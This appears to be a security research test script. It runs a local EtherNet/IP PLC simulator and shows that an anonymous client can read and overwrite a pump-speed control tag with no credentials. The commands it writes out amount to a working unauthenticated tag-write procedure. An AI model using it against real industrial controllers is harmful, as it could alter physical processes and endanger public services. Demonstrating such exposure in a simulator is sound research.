""" Test 1 -- Baseline vulnerability demonstration. Spins up a real EtherNet/IP PLC simulator (cpppo, speaking the actual CIP protocol -- the same protocol family Rockwell Logix controllers use) with a single tag representing a plausible water-treatment control point. Connects as a completely anonymous client and reads + writes that tag with ZERO credentials of any kind presented -- no username, password, key, or certificate. This demonstrates, with real protocol traffic rather than a claim from a document, that EtherNet/IP has no authentication in its default configuration. This matches what CISA, Claroty, and ODVA's own documentation already state -- now empirically reproduced end to end. Run: python test1_baseline_vulnerable.py """ import subprocess import sys import time TAG_NAME = "PumpSpeed_RPM" HOST = "127.0.0.1" PORT = 44818 def run_client(*args): return subprocess.run( [sys.executable, "-m", "cpppo.server.enip.client", "-p", "-a", f"{HOST}:{PORT}", *args], capture_output=True, text=True, timeout=10, ) def main(): print(f"[*] Starting simulated Logix-family PLC on {HOST}:{PORT}") print(f"[*] Control tag: {TAG_NAME} (DINT)\n") server = subprocess.Popen( [sys.executable, "-m", "cpppo.server.enip", "-a", f"{HOST}:{PORT}", f"{TAG_NAME}=DINT"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, ) try: time.sleep(2) # let the simulator bind print("[*] Connecting as an ANONYMOUS client -- no credentials of any kind.\n") before = run_client(TAG_NAME + "[0]") print("READ (before) :", before.stdout.strip()) write = run_client(f"{TAG_NAME}[0]=(DINT)9999") print("WRITE :", write.stdout.strip()) after = run_client(TAG_NAME + "[0]") print("READ (after) :", after.stdout.strip()) print() if "9999" in after.stdout: print("[!] RESULT: A live control tag was read AND overwritten by an") print(" anonymous connection presenting no username, password, key,") print(" or certificate of any kind. This is the baseline architectural") print(" exposure EtherNet/IP ships with by default -- the no-auth") print(" baseline the CyberAv3ngers campaign leaned on. (This is the broad") print(" no-credential exposure, NOT the specific hardcoded-key mechanism") print(" of CVE-2021-22681 -- Test 2 models that shape. Distinct failures.)") else: print("[?] Unexpected result -- inspect output above.") finally: server.terminate() server.wait(timeout=5) if __name__ == "__main__": main()